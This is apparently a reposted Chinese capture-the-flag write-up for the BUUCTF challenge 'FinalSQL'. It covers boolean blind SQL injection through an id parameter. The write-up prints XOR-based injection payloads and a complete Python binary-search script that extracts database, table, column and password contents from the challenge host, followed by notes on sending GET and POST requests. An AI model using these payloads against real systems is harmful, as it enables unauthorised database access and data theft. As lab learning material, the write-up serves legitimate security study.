当前位置: 首页 > article >正文

[极客大挑战 2019]FinalSQL【SQL布尔盲注】

题目: 

 五个小框框什么也没有

发现应该在第六个框框有点线索,所以尝试url框里面id=6试一试 

 表明flag 不在这个表里面。。。啥意思

用户名和密码处都试过了,过滤了很多,包括 ’ ,select,databases,tables等等,反正能用的都过滤了 

后来看wp才知道,原来是需要在id处注入,具体注入方法和这个一样BUU18 [CISCN2019 华北赛区 Day2 Web1]Hack World【SQL布尔盲注】-CSDN博客y

判断为布尔盲注:

先注入一个试试:

经过n次尝试终于成功了,注意这里:

1.查询库名可以通过select schema_name from information_schema.schemata

id=1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))=100)^1

也可以这么写 

1^(ord(substr((select(database())),1,1))=100)^1

 一半自己写的一半抄的代码:

利用二分法

import requests
import time

flag = ""
url="http://00d22f10-012a-466e-8fd3-079e487de94f.node5.buuoj.cn:81/search.php?"
temp={"id":""}
for i in range(1,1000):
    time.sleep(0.06)
    low=32
    high=128
    mid=(low+high)//2
    while (low<high):
        #爆库名:
        #temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i,mid)
        #temp["id"]="1^(ord(substr((select(database())),%d,1))>%d)^1"%(i,mid)
        #爆表名:
        #temp["id"]="1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))>%d)^1" % (i,mid)
        #爆列名
        #temp["id"]="1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
        #爆出password内容   注意这里不能用from库名不能加上''!!!
        temp["id"]="1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)
        request=requests.get(url,params=temp)
        time.sleep(0.04)
        if "others" in request.text :
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
    if(mid==32 or mid==127):
        break
    flag+=chr(mid)
    print(flag)
print("ALL:",flag)

 有很多第一次学到的知识:

1.向url发送get的请求方法:

1)声明一个字典 temp={"id":""} 存储get发送的请求参数

2)url中要把 ? 一块写上

3)赋值temp字典内容: temp["id"]="xxxxxxxxxxx"

4)格式化字符串有两种写法:

  • f"xxxxxx{mid}xxxxxxx",这里的f就是声明一个格式化字符串
  • "xxxxxxxxx%dxxxxxx" %(mid)

5)发送url get请求格式 r=requests.get(url,params=temp)

6)注意使用time.sleep()减少发送请求频率

2.向url发送post请求的方法:

 payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
        data = {"id":payload}
        res = requests.post(url=url, data=data).text


http://www.kler.cn/a/583344.html

相关文章:

  • Ubuntu 使用快速入门 | Android Framework
  • 电机控制常见面试问题(九)
  • 用TypeScript和library needle来创建视频爬虫程序
  • 使用AI一步一步实现若依前端(6)
  • 【每日学点HarmonyOS Next知识】路由栈问题、图片圆角、颜色资源转十六进制字符串、数据集变化崩溃、组件声明周期
  • Qt | 屏幕截图实现
  • deepseek的regflow安装mac版本
  • 【反无人机目标检测数据集】MIDGARD:关于基于机器学习的微型无人机视觉相对定位的训练数据集
  • 简述你对 Spring MVC 的理解
  • ubuntu-drivers-common 包功能详解
  • 每天一篇《目标检测》文献(三)
  • Python----数据可视化(Pyecharts一:介绍安装,全局配置,系列配置)
  • Vue 组件通信 - 子传父
  • ctfhub-web-SSRF通过攻略
  • ffmpeg实用技巧:使用ffmpeg命令行从视频文件中提取帧画面并保存为图片
  • 桂链:什么是区块链账本?
  • 为什么 HTTP GET 方法不使用请求体?
  • [笔记.AI]KAG(知识增强生成 Knowledge Augmented Generation)
  • Vue:class与style绑定
  • 【科研绘图系列】python绘制分组点图(grouped dot plot)